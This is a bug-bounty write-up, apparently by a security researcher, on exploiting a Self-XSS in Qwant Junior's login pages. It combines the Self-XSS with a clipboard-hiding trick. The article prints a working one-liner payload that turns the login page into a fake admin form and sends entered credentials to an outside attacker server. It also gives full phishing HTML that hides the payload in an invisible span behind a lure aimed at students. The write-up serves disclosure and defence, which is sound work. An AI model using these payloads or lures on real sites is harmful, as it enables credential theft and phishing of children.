Self-XSS are a very special case of XSS, where the victim and the attacker as one and the same person. The attacker is able to execute an injection in the browser, but only he can do. How to raise and exploit such injection to gain criticality?
tl; dr: Use WYSINWYC technique to hide the payload of a Self-XSS – Video PoC here
Introduction
No link with a payload in GET to be shared (phishing / spear-phishing), no possibility to automate the execution of the POST payload with a form auto-submit, no public pages that might visit the victims to suffer the stored attack vector. This type of XSS is confined in the place where the injection is located and therefore is relatively infertile for attacks on a larger scale.
Many underestimate the XSS, especially the Self-XSS. They are indeed the “weaker” and “less exploitable” XSS. Most Bug Bounty program for example, directly excluded this type of attack vector; which I think is a mistake.
This type of XSS, the Self-XSS, based on several factors to be usable and impact of real victims:
- A credible scenario and abusing the credulity of victims to self-attack;
- Special carelessness of victims (non-technical people, young people, senior non-techies, etc.).
Recently, during participation in a Bug Bounty (bountyfactory.io, the European platform reference), I could detect a Self-XSS with Emiya in an authentication form. The program in question is not explicitly stated that “Self-XSS were excluded” (at least not yet). So I tried my luck with a PoC and it was finally agreed (and rewarded before this family of XSS are officially excluded).
This present article describes the establishment of a concrete PoC operating a Self-XSS through the WYSINWYC technique.
Self-XSS Reflected DOM-based
Fire the Self-XSS
The Self-XSS discovery under this Bug Bounty to the search engine program QWant, targets multiple authentication sub-spaces of similar appearance:
The following payload is used to produce a canonical alert retaining the structure of the page:
"><img src=x onerror=alert(1337)><input type=hidden value="
Once the form is submitted, the Self-XSS is triggered/fired:
We observe :
- A breakdown of the page if the payload is not properly formatted, which clearly indicates the present of a possible injection;
- No GET or POST request is performed on the page itself once the form is submitted (DOM-XSS);
- The crédentiels are checked via an Ajax API call (non-operative);
- The page is not reloaded after submitting the form, the XSS is triggered at the DOM and does not appear in the original source code;
- The payload is not stored on the server side, it is reflected at the time of submission;
- It is therefore not possible to produce a payload + URL or a form-auto-submit page + payload to trigger this XSS. This is a Self-XSS self-exploitable only.
We concluded that XSS is a Self-XSS Reflected and DOM-based. Its “DOM-based” makes it compatible with all browsers, all versions, with an “anti-XSS engine” or not.
Within the XSS classification model, this one is located here:
Constraint of attack vector
As part of this Self-XSS, the previous payload (single canonical alert-box) is loaded on the fly in the “username” field and “password”. The idea would be to make a more advanced payload (not a simple alert) to produce a credible attack scenario.
But the QWant servers impose several constraints of security mechanisms implemented through headers HTTP. Indeed, the login page returns the following headers:
The following headers constrain future payload:
- “X-XSS-Protection: 1; mode=block” : if the browser includes a “anti-XSS engine”, it will be necessarily activated. Only our XSS is DOM-based, so it bypasses this protection.
- “Content-Security-Policy: default-src * data: blob:; script-src ‘unsafe-inline’ ‘unsafe-eval’ data: *.qwantjunior.com *.qwant.com; style-src ‘unsafe-inline’ data: *.qwantjunior.com *.qwant.com;” : This header prevents the loading of third-party resources (CSS, JS script) from servers other than *.qwantjunior.com or *.qwant.com.
It is not possible for the attacker to load arbitrary JS file on its own server “https://www.attacker.com/x.js”. We must therefore make a standalone and one-liner XSS payload. The two inputs (username and password) do not impose constraints on the number of characters, the payload can be any.
Designing a scenario and exploitation
Self-XSS payload credential stealer
Rather than a “simple alert” in JavaScript as an illustration of the injection, the idea will be to produce a plausible attack scenario PoC.
Vulnerable login pages of the target are in the area “*.qwantjunior.com” ie a version of the “European search engine” dedicated to youth people. Another vulnerable area, “edu.qwantjunior.com” is the engine adaptation to the world of education.
On these search engines, so younger students can create an account; and like many young students, many are particularly interested in “hacking”, “the ability to modify their test scores” or take control of the administrative accounts of teachers for example.
It is on the basis of this observation that we will produce the PoC. The idea through the Self-XSS will be to modify the DOM of the current page, to make it appear that the user has logged-authenticated via an administrative account and can manage all accounts students.
Several display issues are present:
- The login page displays the link “Login” in the upper right;
- All the login form must disappear (or be rewritten);
- The title on the “h1” should be changed instead of displaying “Connection”;
- The “Forgot Password?” link is also on the page;
- Finally, when connects with a payload (ie a user name and password pair), a connection error message appears on the screen.
The first phase of the payload will be to clean the page of these different information to actually believe that the victim is connected / authenticated:
document.getElementById('alert_1').style='display:none'; document.getElementById('c_5').style='display:none'; document.getElementsByTagName('a')[7].innerHTML=''; document.getElementsByTagName('h1')[0].innerHTML='Bienvenu administrateur PWN1337 !';
As regards the rewriting of the form, displaying an attractive phishing message:
document.getElementById('login__form').innerHTML='Indiquez le login et le mot de passe d\'un utilisateur pour gérer son compte (gestion des notes, recherches, droits et privilèges) :<br /><input class=input__text type=text name=login placeholder=\'Identifiant\'/><input class=input__text type=password name=password placeholder=\'Mot de passe\' /><br /><input class=\'button button--blue\' type=submit value=Gérer />';
Finally, change the target of the form (action), to point to a script on the attacker’s server (to steal IDs):
document.getElementById('login__form').action='https://www.asafety.fr/data/poc/qwant/x.php';
Linking all the instructions, we get the following payload to be injected into the “username” field to test:
"><img src=x onerror="document.getElementById('alert_1').style='display:none';document.getElementById('c_5').style='display:none'; ;document.getElementsByTagName('h1')[0].innerHTML='Bienvenu administrateur PWN1337 !';document.getElementById('login__form').innerHTML='Indiquez le login et le mot de passe d\'un utilisateur pour gérer son compte (gestion des notes, recherches, droits et privilèges) :<br /><input class=input__text type=text name=login placeholder=\'Identifiant\'/><input class=input__text type=password name=password placeholder=\'Mot de passe\' /><br /><input class=\'button button--blue\' type=submit value=Gérer />';document.getElementsByTagName('a')[7].innerHTML='';document.getElementById('login__form').action='https://www.asafety.fr/data/poc/qwant/x.php';">
Once the form is submitted (and XSS triggered), the page displays :
By relying on the gullibility and unconcern of a child victim, such a form would be quite functional. The student in question, thinking be logged in as an administrator / teacher of his school, show stride own login / password (which will be stealed by the attacker) to manage its own account.
Well, we have a functional PoC, but hard to find a victim who copy / paste all the payload without asking any question in the “username” form field … We must therefore look out for that copy / paste payload is complete without his knowledge and without realizing it, that’s where the technique of WYSINWYC comes in.
WYSINWYC – What You See Is Not What You Copy
The technique of WYSINWYC (What You See Is Not What You Copy) is an HTML-CSS-tricks to inject data into the clipboard of a victim different from those that the victim thinks he copied.
In summary, the idea is to insert a tag “span” hidden (via CSS) containing arbitrary data (the payload), amidst a visually legitimate text that the victim can copy / paste.
One of my previous article related to this technique. This can be very widely used, especially for all those copy / paste command lines or source code snippets found on the internet without actually check what they copy.
The following illustration, animated, clearly demonstrate the principle:
Obviously, in the case of the current PoC to achieve a concrete scenario with a “Self-XSS”, the idea will be to add an XSS payload in the clipboard, not commands of sequences as in example above.
Thus, the attacker will create a phishing page offering to victims of copy / paste a login and password for administrator. Of course, the action of “copy” of the login inject the payload into the clipboard of the victim.
In the display, the login will be “PWN1337” for example. But in reality, the copy of the latter, the clipboard will contain:
PWN1337 [MULTIPLE WHITE SPACE TO HIDE PAYLOAD IN INPUT TYPE TEXT] [PAYLOAD]PWN1337 [MULTIPLE WHITE SPACE TO HIDE PAYLOAD IN INPUT TYPE TEXT]
To hide the payload once the victim “pasted” it in the “text input type” field should be added many “spaces” (whitespaces) so that no character of payload appears on the screen and awakening the suspicions of the victim.
Note :
- The whitespaces are added before the payload (because Chrome comes to the beginning of the inserted string when the field loses focus – Rewind)
- The whitespaces are also added after the payload (in the case of Firefox that is not for the beginning of the inserted string when the field loses focus)
Finally, the overall content of the clipboard will be:
Complete demonstration – PoC
The following video demonstration shows a complete scenario of the Self-XSS Reflected DOM-based phishing page via a hidden payload by WYSINWYC technique:
PoC source code :
Hey ! Please go to : <b>https://edu.qwantjunior.com/login</b> or <b>https://qwantjunior.com/login</b> and try this login/password ! It's an admin account !<br /> <p class="codeblock"> Copy and paste this login (in brace) : <b>[PWN<span style="position: absolute; left: -1000px; top: -1000px">1337 "> <img src=x onerror="document.getElementById('alert_1').style='display:none';document.getElementById('c_5').style='display:none'; ;document.getElementsByTagName('h1')[0].innerHTML='Bienvenu administrateur PWN1337 !';document.getElementById('login__form').innerHTML='Indiquez le login et le mot de passe d\'un utilisateur pour gérer son compte (gestion des notes, recherches, droits et privilèges) :<br /><input class=input__text type=text name=login placeholder=\'Identifiant\'/><input class=input__text type=password name=password placeholder=\'Mot de passe\' /><br /><input class=\'button button--blue\' type=submit value=Gérer />';document.getElementsByTagName('a')[7].innerHTML='';document.getElementById('login__form').action='https://www.asafety.fr/data/poc/qwant/x.php';"><input type="hidden" value=" xxx <br>PWM</span>1337<span style="position: absolute; left: -1000px; top: -1000px"> </span>]</b> </p> <br /> Copy and paste this password (in brace) : <b>[P4sSw0Rd]</b>
Conclusion
The Self-XSS are the “weakest” of XSS, but must not however be ignored, especially if they are DOM-based and thus bypass all anti-XSS engines (they work on Chrome, Firefox, IE Edge …). It is possible to use various techniques to lure a victim as detailed in this article, so that it realizes anything vis-a-vis an operation of an attacker.
WYSINWYC technique is particularly suitable for this type of scenario.
I can only encourage you to banish all forms of XSS, Self-XSS included. They are not to be ignored, nor qualify “will not fix” by Bug Bounty; it’s still my personal opinion :)!
I want to finish salute teams qwant and bountyfactory.io for their friendliness and speed correction. Also thank you to them for having considered this attack vector (although at present the details of its Bug Bounty program stipulate that the Self-attack are out-of-scope ;)).